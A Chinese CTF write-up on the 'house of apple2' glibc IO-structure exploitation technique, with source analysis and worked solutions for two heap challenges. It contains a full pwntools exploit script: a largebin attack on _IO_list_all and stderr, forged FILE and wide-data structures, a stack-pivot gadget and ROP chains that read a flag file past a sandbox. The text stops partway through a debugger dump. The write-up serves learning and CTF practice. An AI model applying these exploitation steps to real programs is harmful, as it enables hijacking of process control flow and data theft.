house of apple2 心得体会
2023-4-14 08:26:0 Author: xz.aliyun.com(查看原文) 阅读量:18 收藏

house of apple:

House of apple 是roderick师傅提出的一种新的glibc中IO攻击方法,在glibc 2.35好像仍是堆题的通杀手法

原文提到了多条IO利用链,本文仅涉及其中利用_IO_wfile_overflow函数控制程序执行流的调用链的学习利用

适用版本:

glibc 2.23 -- 至今

利用条件:

  • 可以进行一次任意地址写(通常是largebin attack)
  • 可以触发 IO 流操作(包括但不限于:从main​函数返回、调用exit​函数、通过__malloc_assert​触发)

攻击方法:

  • 获取libc地址和heap地址
  • 劫持_IO_FILE的vtable和_wide_data,伪造结构体
  • 触发 IO 流操作

源码分析:

在glibc 2.23版本,由于没有对vtable的地址合法性的检查,我们可以直接对vtable地址进行劫持

而从glibc 2.24开始,加入了对 vtable 指针的检查,IO_validate_vtable函数会检查vtable的合法性,并判断其地址是否在一个合法区间

/* Perform vtable pointer validation.  If validation fails, terminate
   the process.  */
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  /* Fast path: The vtable pointer is within the __libc_IO_vtables
     section.  */
  uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
  const char *ptr = (const char *) vtable;
  uintptr_t offset = ptr - __start___libc_IO_vtables;
  if (__glibc_unlikely (offset >= section_length))
    /* The vtable pointer is not in the expected section.  Use the
       slow path, which will terminate the process if necessary.  */
    _IO_vtable_check ();
  return vtable;
}

但我们并非无法伪造vtable,将 vtable 指向的 _IO_jump_t 改成 _IO_wfile_jumps、_IO_wfile_jumps_mmap、_IO_wfile_jumps_maybe_mmap等jump类地址应该都会满足检测,然后就能调用到_IO_wfile_overflow

void attribute_hidden
_IO_vtable_check (void)
{
#ifdef SHARED
  /* Honor the compatibility flag.  */
  void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
  PTR_DEMANGLE (flag);
#endif
  if (flag == &_IO_vtable_check)
    return;
  /* In case this libc copy is in a non-default namespace, we always
     need to accept foreign vtables because there is always a
     possibility that FILE * objects are passed across the linking
     boundary.  */
  {
    Dl_info di;
    struct link_map *l;
    if (_dl_open_hook != NULL
        || (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
            && l->l_ns != LM_ID_BASE))
      return;
  }
#else /* !SHARED */
  /* We cannot perform vtable validation in the static dlopen case
     because FILE * handles might be passed back and forth across the
     boundary.  Therefore, we disable checking in this case.  */
  if (__dlopen != NULL)
    return;
#endif
  __libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
}

下面要利用的是_IO_wide_data结构体中_wide_vtable,和调用vtable里函数指针一样,在调用_wide_vtable虚表里面的函数时,也是使用宏去调用,但其没有关于vtable的合法性检查

/* Extra data for wide character streams.  */
struct _IO_wide_data
{
  wchar_t *_IO_read_ptr;    /* Current read pointer */
  wchar_t *_IO_read_end;    /* End of get area. */
  wchar_t *_IO_read_base;    /* Start of putback+get area. */
  wchar_t *_IO_write_base;    /* Start of put area. */
  wchar_t *_IO_write_ptr;    /* Current put pointer. */
  wchar_t *_IO_write_end;    /* End of put area. */
  wchar_t *_IO_buf_base;    /* Start of reserve area. */
  wchar_t *_IO_buf_end;        /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  wchar_t *_IO_save_base;    /* Pointer to start of non-current get area. */
  wchar_t *_IO_backup_base;    /* Pointer to first valid character of
                   backup area */
  wchar_t *_IO_save_end;    /* Pointer to end of non-current get area. */
  __mbstate_t _IO_state;
  __mbstate_t _IO_last_state;
  struct _IO_codecvt _codecvt;
  wchar_t _shortbuf[1];
  const struct _IO_jump_t *_wide_vtable;
};

我们可以通过largebin attack劫持_IO_list_all处为我们的可控堆地址

就可劫持vtable为_IO_wfile_jumps等jumps类函数,以可以调用_IO_wfile_overflow

然后伪造_wide_data结构体,使_wide_vtable指向我们的可控堆地址

控制程序执行​IO​​​​流函数调用,最终调用到_IO_Wxxxxx函数即可控制程序的执行流

_IO_WXXXXX系列函数的调用只有_IO_WSETBUF、_IO_WUNDERFLOW、_IO_WDOALLOCATE和_IO_WOVERFLOW,其中_IO_WDOALLOCATE和_IO_WOVERFLOW更适合构造利用的

利用_IO_wfile_overflow函数控制程序执行流:

具体调用链:

_IO_wfile_overflow --> _IO_wdoallocbuf --> _IO_WDOALLOCATE --> *(fp->_wide_data->_wide_vtable + 0x68)(fp)

_IO_wfile_overflow函数源码:

wint_t
_IO_wfile_overflow (FILE *f, wint_t wch)
{
  if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
    {
      f->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return WEOF;
    }
  /* If currently reading or no buffer allocated. */
  if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0)
    {
      /* Allocate a buffer if needed. */
      if (f->_wide_data->_IO_write_base == 0)
    {
      _IO_wdoallocbuf (f);
      // ......
    }
    }
}

需要满足

f->_flags & _IO_NO_WRITES == 0

f->_flags & _IO_CURRENTLY_PUTTING == 0

f->_wide_data->_IO_write_base == 0

_IO_wdoallocbuf函数源码:

void
_IO_wdoallocbuf (FILE *fp)
{
  if (fp->_wide_data->_IO_buf_base)
    return;
  if (!(fp->_flags & _IO_UNBUFFERED))
    if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)// _IO_WXXXX调用
      return;
  _IO_wsetb (fp, fp->_wide_data->_shortbuf,
             fp->_wide_data->_shortbuf + 1, 0);
}
libc_hidden_def (_IO_wdoallocbuf)

需要满足

fp->_wide_data->_IO_buf_base != 0

fp->_flags & _IO_UNBUFFERED == 0

结构体的具体布置配着例题说明,可以先看一下我们需要伪造的结构体:

_IO_list_all

pwndbg> p *(struct _IO_FILE_plus *) 0x7fb48be1a6a0
$4 = {
  file = {
    _flags = -72540025,
    _IO_read_ptr = 0x7fb48be1a723 <_IO_2_1_stderr_+131> "",
    _IO_read_end = 0x7fb48be1a723 <_IO_2_1_stderr_+131> "",
    _IO_read_base = 0x7fb48be1a723 <_IO_2_1_stderr_+131> "",
    _IO_write_base = 0x7fb48be1a723 <_IO_2_1_stderr_+131> "",
    _IO_write_ptr = 0x7fb48be1a723 <_IO_2_1_stderr_+131> "",
    _IO_write_end = 0x7fb48be1a723 <_IO_2_1_stderr_+131> "",
    _IO_buf_base = 0x7fb48be1a723 <_IO_2_1_stderr_+131> "",
    _IO_buf_end = 0x7fb48be1a724 <_IO_2_1_stderr_+132> "",
    _IO_save_base = 0x0,
    _IO_backup_base = 0x0,
    _IO_save_end = 0x0,
    _markers = 0x0,
    _chain = 0x7fb48be1a780 <_IO_2_1_stdout_>,
    _fileno = 2,
    _flags2 = 0,
    _old_offset = -1,
    _cur_column = 0,
    _vtable_offset = 0 '\000',
    _shortbuf = "",
    _lock = 0x7fb48be1ba60 <_IO_stdfile_2_lock>,
    _offset = -1,
    _codecvt = 0x0,
    _wide_data = 0x7fb48be198a0 <_IO_wide_data_2>,
    _freeres_list = 0x0,
    _freeres_buf = 0x0,
    __pad5 = 0,
    _mode = 0,
    _unused2 = '\000' <repeats 19 times>
  },
  vtable = 0x7fb48be16600 <_IO_file_jumps>
}

_IO_wide_data

pwndbg> p &_IO_wide_data_2
$5 = (struct _IO_wide_data *) 0x7fb48be198a0 <_IO_wide_data_2>
pwndbg> p *(struct _IO_wide_data *) 0x7fb48be198a0
$6 = {
  _IO_read_ptr = 0x0,
  _IO_read_end = 0x0,
  _IO_read_base = 0x0,
  _IO_write_base = 0x0,
  _IO_write_ptr = 0x0,
  _IO_write_end = 0x0,
  _IO_buf_base = 0x0,
  _IO_buf_end = 0x0,
  _IO_save_base = 0x0,
  _IO_backup_base = 0x0,
  _IO_save_end = 0x0,
  _IO_state = {
    __count = 0,
    __value = {
      __wch = 0,
      __wchb = "\000\000\000"
    }
  },
  _IO_last_state = {
    __count = 0,
    __value = {
      __wch = 0,
      __wchb = "\000\000\000"
    }
  },
  _codecvt = {
    __cd_in = {
      step = 0x0,
      step_data = {
        __outbuf = 0x0,
        __outbufend = 0x0,
        __flags = 0,
        __invocation_counter = 0,
        __internal_use = 0,
        __statep = 0x0,
        __state = {
          __count = 0,
          __value = {
            __wch = 0,
            __wchb = "\000\000\000"
          }
        }
      }
    },
    __cd_out = {
      step = 0x0,
      step_data = {
        __outbuf = 0x0,
        __outbufend = 0x0,
        __flags = 0,
        __invocation_counter = 0,
        __internal_use = 0,
        __statep = 0x0,
        __state = {
          __count = 0,
          __value = {
            __wch = 0,
            __wchb = "\000\000\000"
          }
        }
      }
    }
  },
  _shortbuf = L"",
  _wide_vtable = 0x7fb48be160c0 <_IO_wfile_jumps>
}

_IO_wfile_jumps

pwndbg> p &_IO_wfile_jumps
$7 = (const struct _IO_jump_t *) 0x7fb48be160c0 <_IO_wfile_jumps>
pwndbg> p *(const struct _IO_jump_t *) 0x7fb48be160c0
$8 = {
  __dummy = 0,
  __dummy2 = 0,
  __finish = 0x7fb48bc8c070 <_IO_new_file_finish>,
  __overflow = 0x7fb48bc86410 <__GI__IO_wfile_overflow>,
  __underflow = 0x7fb48bc85050 <__GI__IO_wfile_underflow>,
  __uflow = 0x7fb48bc838c0 <__GI__IO_wdefault_uflow>,
  __pbackfail = 0x7fb48bc83680 <__GI__IO_wdefault_pbackfail>,
  __xsputn = 0x7fb48bc868c0 <__GI__IO_wfile_xsputn>,
  __xsgetn = 0x7fb48bc8b330 <__GI__IO_file_xsgetn>,
  __seekoff = 0x7fb48bc857d0 <__GI__IO_wfile_seekoff>,
  __seekpos = 0x7fb48bc8e530 <_IO_default_seekpos>,
  __setbuf = 0x7fb48bc8a620 <_IO_new_file_setbuf>,
  __sync = 0x7fb48bc86720 <__GI__IO_wfile_sync>,
  __doallocate = 0x7fb48bc7ff10 <_IO_wfile_doallocate>,
  __read = 0x7fb48bc8b9b0 <__GI__IO_file_read>,
  __write = 0x7fb48bc8af40 <_IO_new_file_write>,
  __seek = 0x7fb48bc8a6f0 <__GI__IO_file_seek>,
  __close = 0x7fb48bc8a610 <__GI__IO_file_close>,
  __stat = 0x7fb48bc8af30 <__GI__IO_file_stat>,
  __showmanyc = 0x7fb48bc8f4a0 <_IO_default_showmanyc>,
  __imbue = 0x7fb48bc8f4b0 <_IO_default_imbue>
}

例题pwn_one

例题是经典的pwn_one



开了沙箱,保护全开

程序分析:



首先程序会要求你输入一个在6-10之间的值赋给key,这个key是我们能申请多大堆块的依据

add:



可以申请3种大小的堆块:

key✖0x110大小

key✖0x110+0x10大小

2✖key✖0x110大小

总的范围在0x660-0x1540,申请的都是largebin大小的堆块

delete:



存在UAF漏洞

edit:





只有一次编辑机会,执行完内容的read后unk_202010将被赋0,不再满足进入edit的if判断

show:



只有一次泄露机会,且只能泄露0x10大小的数据

利用详解:
  • libc地址和heap地址的获取
  • 伪造IO结构体
  • largebin attack,劫持_IO_list_all变量
  • exit退出,触发IO调用

libc地址和heap地址获取:

add(2) #0
add(1) #1
add(1) #2
add(1) #3

delete(0)
delete(2)


show(0)
libc_base=l64()-0x1f2cc0
li('libc_base = '+hex(libc_base))

ru('\x00\x00')
heap_base=u64(r(8).ljust(8,b"\x00"))-0x13c0
li('heap_base = '+hex(heap_base))



伪造IO结构体:

程序只给一次修改机会,所以我们无法像常规堆体模板那样直接将chunk2作为辅助堆块布置

'''
pl=p64(main_arena_1392)*2+p64(0)+p64(stderr-0x20)
edit(0,pl.ljust(0x880,b'\x00'))
add(3)
'''



所以我们先将chunk2回收,使chunk0送入largebin



再次delete chunk2,再将其送入unsortedbin来准备largebin attack



add(1) #chunk0->largebin
delete(2) #chunk2->ub

pl=...
edit(0,pl.ljust(0x880,b'\x00'))
apple模板详解:

1.对_IO_list_all、_IO_wide_data、_IO_jump_t结构体的伪造

2.magic_gadget+orw构造栈迁移来读取flag不再赘述,想详细了解的师傅可以看一下winmt大师傅的文章:[原创] CTF 中 glibc堆利用 及 IO_FILE 总结-Pwn-看雪论坛-安全社区|安全招聘|bbs.pediy.com (kanxue.com)

chunk0 = heap_base + 0x290 #fake_IO
chunk2 = heap_base + 0x13c0
orw_addr = chunk0 + 0xe0 + 0xe8 + 0x70
lock = libc_base+0x1f5720
magic_gadget = libc_base + libc.sym['svcudp_reply'] + 0x1a
'''
<svcudp_reply+26>:    mov    rbp,QWORD PTR [rdi+0x48]
<svcudp_reply+30>:    mov    rax,QWORD PTR [rbp+0x18]
<svcudp_reply+34>:    lea    r13,[rbp+0x10]
<svcudp_reply+38>:    mov    DWORD PTR [rbp+0x10],0x0
<svcudp_reply+45>:    mov    rdi,r13
<svcudp_reply+48>:    call   QWORD PTR [rax+0x28]
'''

#open
orw = b'./flag\x00\x00'
orw += p64(pop_rdx12) + p64(0) + p64(chunk0 - 0x10)
orw += p64(pop_rdi) + p64(orw_addr)
orw += p64(pop_rsi) + p64(0)
orw += p64(open_addr)
#read
orw += p64(pop_rdi) + p64(3)
orw += p64(pop_rsi) + p64(orw_addr + 0x100)
orw += p64(pop_rdx12) + p64(0x50) + p64(0)
orw += p64(read_addr)
#puts
orw += p64(pop_rdi) + p64(orw_addr + 0x100)
orw += p64(puts_addr)

#_IO_list_all
pl=p64(0)+p64(leave_ret)+p64(0)+p64(io_all-0x20) #2c0
pl+=p64(0)*3 #2e0
pl+=p64(orw_addr) #chunk0 + 0xe0 + 0xe8 + 0x70 -- _IO_save_base
pl+=p64(0)*7
pl+=p64(lock) #_lock
pl+=p64(0)*2
pl+=p64(chunk0 + 0xe0) #370: chunk0+0xe0 -- _IO_wide_data
pl+=p64(0)*6
pl+=p64(wfile)

#_IO_wide_data
pl+=p64(0)*0x1c
pl+=p64(chunk0 + 0xe0 + 0xe8) #_IO_jump_t

#_IO_jump_t
pl+=p64(0)*0xd
pl+=p64(magic_gadget)
pl+=orw

伪造的_IO_FILE_plus结构体:

#_IO_list_all
pl=p64(0)+p64(leave_ret)+p64(0)+p64(io_all-0x20) #2c0
pl+=p64(0)*3 #2e0
pl+=p64(orw_addr) #chunk0 + 0xe0 + 0xe8 + 0x70 -- _IO_save_base
pl+=p64(0)*7
pl+=p64(lock) #_lock
pl+=p64(0)*2
pl+=p64(chunk0 + 0xe0) #370: chunk0+0xe0 -- _IO_wide_data
pl+=p64(0)*6
pl+=p64(wfile) #__GI__IO_wfile_jumps

_flags = ~(2 | 0x8 | 0x800),若不需要控制rdi则可以直接赋0

_IO_write_base、_IO_buf_base设置为0

_wide_data布置为我们的可控堆地址,这里是chunk0+0xe0,指向我们对_IO_wide_data结构体布置的payload

vtable劫持为jump类,这里我们布置为_IO_wfile_jumps

pwndbg> p _IO_list_all
$1 = (struct _IO_FILE_plus *) 0x7fae1847f680 <_IO_2_1_stderr_>
pwndbg> p *(struct _IO_FILE_plus *) 0x5555557da290
$2 = {
  file = {
    _flags = 0,
    _IO_read_ptr = 0x8a1 <error: Cannot access memory at address 0x8a1>,
    _IO_read_end = 0x0,
    _IO_read_base = 0x7fae182ded72 <__mpn_mul_n+114> "\311\303\017\037@",
    _IO_write_base = 0x0,
    _IO_write_ptr = 0x7fae1847f640 <_nl_global_locale+224> "\255!D\030\256\177",
    _IO_write_end = 0x0,
    _IO_buf_base = 0x0,
    _IO_buf_end = 0x0,
    _IO_save_base = 0x5555557da4c8 "./flag", #orw_addr = fake_IO_addr + 0xe0 + 0xe8 + 0x70
    _IO_backup_base = 0x0,
    _IO_save_end = 0x0,
    _markers = 0x0,
    _chain = 0x0,
    _fileno = 0,
    _flags2 = 0,
    _old_offset = 0,
    _cur_column = 0,
    _vtable_offset = 0 '\000',
    _shortbuf = "",
    _lock = 0x7fae18481720 <_IO_stdfile_2_lock>,
    _offset = 0,
    _codecvt = 0x0,
    _wide_data = 0x5555557da370,    #原指向_IO_wide_data
    _freeres_list = 0x0,
    _freeres_buf = 0x0,
    __pad5 = 0,
    _mode = 0,
    _unused2 = '\000' <repeats 19 times>
  },
  vtable = 0x7fae18480020 <__GI__IO_wfile_jumps>
}

伪造的_IO_wide_data结构体:

#_IO_wide_data
pl+=p64(0)*0x1c
pl+=p64(chunk0 + 0xe0 + 0xe8) #_IO_jump_t

将_wide_vtable布置继续指向我们可控堆地址,这里就是我们伪造_IO_jump_t的payload部分

pwndbg> p *(struct _IO_wide_data*) 0x5555557da370
$3 = {
  _IO_read_ptr = 0x0,
  _IO_read_end = 0x0,
  _IO_read_base = 0x0,
  _IO_write_base = 0x0,
  _IO_write_ptr = 0x0,
  _IO_write_end = 0x0,
  _IO_buf_base = 0x0,
  _IO_buf_end = 0x0,
  _IO_save_base = 0x0,
  _IO_backup_base = 0x0,
  _IO_save_end = 0x0,
  _IO_state = {
    __count = 0,
    __value = {
      __wch = 0,
      __wchb = "\000\000\000"
    }
  },
  _IO_last_state = {
    __count = 0,
    __value = {
      __wch = 0,
      __wchb = "\000\000\000"
    }
  },
  _codecvt = {
    __cd_in = {
      step = 0x0,
      step_data = {
        __outbuf = 0x0,
        __outbufend = 0x0,
        __flags = 0,
        __invocation_counter = 0,
        __internal_use = 0,
        __statep = 0x0,
        __state = {
          __count = 0,
          __value = {
            __wch = 0,
            __wchb = "\000\000\000"
          }
        }
      }
    },
    __cd_out = {
      step = 0x0,
      step_data = {
        __outbuf = 0x0,
        __outbufend = 0x0,
        __flags = 0,
        __invocation_counter = 0,
        __internal_use = 0,
        __statep = 0x0,
        __state = {
          __count = 0,
          __value = {
            __wch = 0,
            __wchb = "\000\000\000"
          }
        }
      }
    }
  },
  _shortbuf = L"",
  _wide_vtable = 0x5555557da458     #原指向_IO_jump_t
}

伪造的_IO_jump_t结构体:

#open
orw = b'./flag\x00\x00'
orw += p64(pop_rdx12) + p64(0) + p64(chunk0 - 0x10)
orw += p64(pop_rdi) + p64(orw_addr)
orw += p64(pop_rsi) + p64(0)
orw += p64(open_addr)
#read
orw += p64(pop_rdi) + p64(3)
orw += p64(pop_rsi) + p64(orw_addr + 0x100)
orw += p64(pop_rdx12) + p64(0x50) + p64(0)
orw += p64(read_addr)
#puts
orw += p64(pop_rdi) + p64(orw_addr + 0x100)
orw += p64(puts_addr)

#_IO_jump_t
pl+=p64(0)*0xd
pl+=p64(magic_gadget)
pl+=orw

_IO_wfile_doallocate布置为magic_gadget,会劫持rip寄存器,接下来栈迁移执行orw

若未开沙箱,则可直接劫持其为one_gadget

pwndbg> p  *(const struct _IO_jump_t *) 0x5555557da458
$4 = {
  __dummy = 0,
  __dummy2 = 0,
  __finish = 0x0,
  __overflow = 0x0,
  __underflow = 0x0,
  __uflow = 0x0,
  __pbackfail = 0x0,
  __xsputn = 0x0,
  __xsgetn = 0x0,
  __seekoff = 0x0,
  __seekpos = 0x0,
  __setbuf = 0x0,
  __sync = 0x0,
  __doallocate = 0x7fae183d42ba <svcudp_reply+26>,  #magic_gadget
  __read = 0x67616c662f2e,              #orw_start
  __write = 0x7fae183926e1 <__qgcvt+49>,
  __seek = 0x0,
  __close = 0x5555557da280,
  __stat = 0x7fae182b9aa2 <iconv+162>,
  __showmanyc = 0x5555557da4c8,
  __imbue = 0x7fae182c3c0a <__GI___gconv_create_spec+650>
}

largebin attack,劫持IO

进行largebin attack,并回收chunk2

add(3) #largebin attack -> _IO_list_all: chunk2
add(1) #recycle chunk2 -> _IO_list_all: chunk0





触发IO调用

触发流程:

从__libc_start_call_main+111处步入

_IO_cleanup

_IO_flush_all_lockp

_IO_wfile_overflow



_IO_wdoallocbuf

svcudp_reply+26

orw



完整exp:
#encoding = utf-8
from pwn import *
from pwnlib.rop import *
from pwnlib.context import *
from pwnlib.fmtstr import *
from pwnlib.util.packing import *
from pwnlib.gdb import *
from ctypes import *
import os
import sys
import time
import base64
#from ae64 import AE64
#from LibcSearcher import * 

context.os = 'linux'
context.arch = 'amd64'
#context.arch = 'i386'
context.log_level = "debug"


local = 1
binary = './pwn'
ip = '0.0.0.0'
port = 8888
libcelf = './libc.so.6'
ldfile = './ld.so'
armmips = 0
x64_32 = 1



if x64_32:
    context.arch = 'amd64'
else:
    context.arch = 'i386'

if armmips==0:
    if local:
        if ldfile:
            p = process([ldfile, binary], env={"LD_PRELOAD":libcelf})
            libc = ELF(libcelf)
        elif libcelf:
            p = process([binary], env={"LD_PRELOAD":libcelf})
            libc = ELF(libcelf)
        else:
            p = process(binary)
    else:
        p = remote(ip,port)
else:
    if local:
        if x64_32:
            p = process(["qemu-arm", "-g", "1212", "-L", "/usr/arm-linux-gnueabi",binary])
        else:
            p = process(["qemu-aarch64", "-g", "1212", "-L", "/usr/aarch64-linux-gnu/", binary])
    else:
        p = remote(ip,port)

elf = ELF(binary)


s       = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data,num           :u32(p.recvuntil(data)[-num:].ljust(4,b'\x00'))
uu64    = lambda data,num           :u64(p.recvuntil(data)[-num:].ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context.terminal = ['gnome-terminal','-x','sh','-c']

def dbg():
   gdb.attach(proc.pidof(p)[0])
   pause()

bss = elf.bss()
li('bss = '+hex(bss))

add_idx = 1
delete_idx = 2
show_idx = 4
edit_idx = 3


def choice(cho):
    sla('enter your command: \n',cho)

def add(idx):
    choice(add_idx)
    sla('choise:',idx)

def delete(idx):
    choice(delete_idx)
    sla('Index: \n',idx)

def show(idx):
    choice(show_idx)
    sla('Index: ',idx)

def edit(idx,content):
    choice(edit_idx)
    sla('Index: ',idx)
    p.sendafter('Message: \n',content)

ru('enter your key >>\n')
sl('8')

add(2) #0
add(1) #1
add(1) #2
add(1) #3

delete(0)
delete(2)

show(0)
libc_base=l64()-0x1f2cc0
li('libc_base = '+hex(libc_base))

ru('\x00\x00')
heap_base=u64(r(8).ljust(8,b"\x00"))-0x13c0
li('heap_base = '+hex(heap_base))

add(1) #chunk0->largebin

delete(2) #chunk2->ub

pop_rdi = libc_base + libc.search(asm('pop rdi;ret;')).__next__()
pop_rsi = libc_base + libc.search(asm('pop rsi;ret;')).__next__()
pop_rdx12 = libc_base + libc.search(asm('pop rdx;pop r12;ret;')).__next__()
leave_ret = libc_base + libc.search(asm('leave;ret;')).__next__()

open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
puts_addr = libc_base + libc.sym['puts']

stderr=libc_base+0x1f3680
io_all = libc_base + libc.sym['_IO_list_all']
li('io_all = '+hex(io_all))
wfile = libc_base + libc.sym['_IO_wfile_jumps']
li('wfile = '+hex(wfile))

chunk0 = heap_base + 0x290 #fake_IO
chunk2 = heap_base + 0x13c0
orw_addr = chunk0 + 0xe0 + 0xe8 + 0x70
lock = libc_base+0x1f5720
magic_gadget = libc_base + libc.sym['svcudp_reply'] + 0x1a
#magic_gadget = libc_base+0x16a1fa
'''
<svcudp_reply+26>:    mov    rbp,QWORD PTR [rdi+0x48]
<svcudp_reply+30>:    mov    rax,QWORD PTR [rbp+0x18]
<svcudp_reply+34>:    lea    r13,[rbp+0x10]
<svcudp_reply+38>:    mov    DWORD PTR [rbp+0x10],0x0
<svcudp_reply+45>:    mov    rdi,r13
<svcudp_reply+48>:    call   QWORD PTR [rax+0x28]
'''


#open
orw = b'./flag\x00\x00'
orw += p64(pop_rdx12) + p64(0) + p64(chunk0 - 0x10)
orw += p64(pop_rdi) + p64(orw_addr)
orw += p64(pop_rsi) + p64(0)
orw += p64(open_addr)
#read
orw += p64(pop_rdi) + p64(3)
orw += p64(pop_rsi) + p64(orw_addr + 0x100)
orw += p64(pop_rdx12) + p64(0x50) + p64(0)
orw += p64(read_addr)
#puts
orw += p64(pop_rdi) + p64(orw_addr + 0x100)
orw += p64(puts_addr)

pl=p64(0)+p64(leave_ret)+p64(0)+p64(io_all-0x20) #2c0
#_IO_list_all
pl+=p64(0)*3 #2e0
pl+=p64(orw_addr) #chunk0 + 0xe0 + 0xe8 + 0x70 -- _IO_save_base
pl+=p64(0)*7
pl+=p64(lock) #_lock
pl+=p64(0)*2
pl+=p64(chunk0 + 0xe0) #370: chunk0+0xe0 -- _IO_wide_data
pl+=p64(0)*6
pl+=p64(wfile) #__GI__IO_wfile_jumps
#_IO_wide_data
pl+=p64(0)*0x1c
pl+=p64(chunk0 + 0xe0 + 0xe8) #_IO_jump_t
#_IO_jump_t
pl+=p64(0)*0xd
pl+=p64(magic_gadget)
pl+=orw

edit(0,pl.ljust(0x880,b'\x00'))

add(3) #largebin attack -> _IO_list_all: chunk2

add(1) #recycle chunk2  -> _IO_list_all: chunk0

#dbg()
choice(5)


itr()

例题house of cat

保护全开,开了沙箱



程序分析:

限制申请大小 0x418-0x46f,限制修改次数两次并只能修改0x30字节

存在UAF漏洞,限制泄露数据最大大小为0x30字节

题目除了前面的加密,本身算是一道标准的菜单题,不过我们主要是要分析这道题里house of apple2手法如何利用,前面需要逆向的部分不再赘述

由于开了沙箱的缘故,我们需要构造orw来读取flag。此外,送入orw前还需要构造close(0),将标准输入关闭掉,这样再次read的时候flag文件描述符就将是0,则可以正常read flag文件

利用详解:
  • 首先是泄露libc地址和heap地址
  • 伪造好结构体
  • largebin attack攻击stderr指针
  • 修改top_chunk大小并触发IO调用
  • 进入 house of apple2 的调用链,通过_wide_data->vtable跳转到提前布置好的地址进行栈迁移
  • 栈迁移后便已完全控制程序流,跳转执行rop链

libc地址和heap地址获取:

add(15,0x450,b'15s')
add(14,0x450,b'14s')
delete(15)
add(13,0x460,b'13s')
show(15)

libc_base=l64()-0x21a0e0
li(hex(libc_base))

heap_base=u64(p.recvuntil("\x55")[-6:].ljust(8,b"\x00"))-0x290
li(hex(heap_base))

IO_list_all= libc_base + libc.sym['_IO_list_all']
lock = libc_base+0x21ba60
magic_gadget = libc_base+0x16a1fa
wfile= libc_base + libc.sym['_IO_wfile_jumps']
stderr = libc_base + libc.sym['stderr']

open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
close_addr= libc_base + libc.sym['close']
pop_rax=libc_base+0x0000000000045eb0
pop_rdi=libc_base+0x000000000002a3e5
pop_rsi=libc_base+0x000000000002be51
pop_rdx12=libc_base+0x000000000011f497
leave_ret = libc_base + libc.search(asm('leave;ret;')).__next__()
chunk0=heap_base+0xfc0
orw_addr=chunk0 + 0xe0 + 0xe8 + 0x70
li('orw_addr = '+hex(orw_addr))

add(12,0x450,b'12s') #回收chunk

结构体的伪造:

pl=p64(0)*7
pl+=p64(orw_addr)
pl+=p64(0)*7
pl+=p64(lock)
pl+=p64(0)*2
pl+=p64(chunk0 + 0xe0) 
pl+=p64(0)*6
pl+=p64(wfile)

pl+=p64(0)*0x1c
pl+=p64(chunk0 + 0xe0 + 0xe8)

pl+=p64(0)*0xd
pl+=p64(magic_gadget)

add_rsp18=libc_base+0x000000000003a8a1
syscall=libc_base+0xea5b9

orw = b'./flag\x00\x00'+p64(add_rsp18)+p64(0) #3.add rsp, 0x18 ; ret
orw += p64(heap_base+0x1218-0x28) #1.指向leave_ret的地址
#close
orw += p64(leave_ret) #2.迁移后指向add_rsp18的地址
orw += p64(pop_rdi)   #4.rsp+0x18后指向的地址
orw += p64(0)
orw += p64(close_addr)
#open
orw += p64(pop_rdi)
orw += p64(orw_addr)
orw += p64(pop_rsi) + p64(0)
orw += p64(pop_rax) + p64(2)
orw += p64(syscall)
#read
orw += p64(pop_rdi) + p64(0)
orw += p64(pop_rsi) + p64(orw_addr + 0x100)
orw += p64(pop_rdx12) + p64(0x50) + p64(0)
orw += p64(read_addr)
#puts
orw += p64(pop_rdi) + p64(1)
orw += p64(pop_rsi) + p64(orw_addr + 0x100)
orw += p64(pop_rdx12) + p64(0x50) + p64(0)
orw += p64(write_addr)

pl+=orw

add(0,0x428,pl) #

add(1,0x460,'bbb')
add(2,0x418,'ccc') #
delete(0)

add(3,0x460,'ddd') #chunk0-->largebin
delete(2)

pll=p64(libc_base+0x21a0d0)*2+p64(heap_base+0xfc0)+p64(stderr-0x20)
edit(0,pll)

add(4,0x440,'eee')  #largebin attack
add(5,0x418,'fff')  #recycle chunk2

_IO_FILE_plus

pwndbg> p *(struct _IO_FILE_plus *) 0x000055d30da0bfc0
$3 = {
  file = {
    _flags = 0,
    _IO_read_ptr = 0x431 <error: Cannot access memory at address 0x431>,
    _IO_read_end = 0x7f463881a0d0 <main_arena+1104> "\300\240\201\070F\177",
    _IO_read_base = 0x7f463881a0d0 <main_arena+1104> "\300\240\201\070F\177",
    _IO_write_base = 0x55d30da0bfc0 "",
    _IO_write_ptr = 0x7f463881a840 <_IO_2_1_stdout_+192> "",
    _IO_write_end = 0x0,
    _IO_buf_base = 0x0,
    _IO_buf_end = 0x0,
    _IO_save_base = 0x55d30da0c1f8 "./flag",
    _IO_backup_base = 0x0,
    _IO_save_end = 0x0,
    _markers = 0x0,
    _chain = 0x0,
    _fileno = 0,
    _flags2 = 0,
    _old_offset = 0,
    _cur_column = 0,
    _vtable_offset = 0 '\000',
    _shortbuf = "",
    _lock = 0x7f463881ba60 <_IO_stdfile_2_lock>,
    _offset = 0,
    _codecvt = 0x0,
    _wide_data = 0x55d30da0c0a0,
    _freeres_list = 0x0,
    _freeres_buf = 0x0,
    __pad5 = 0,
    _mode = -1,
    _unused2 = '\000' <repeats 19 times>
  },
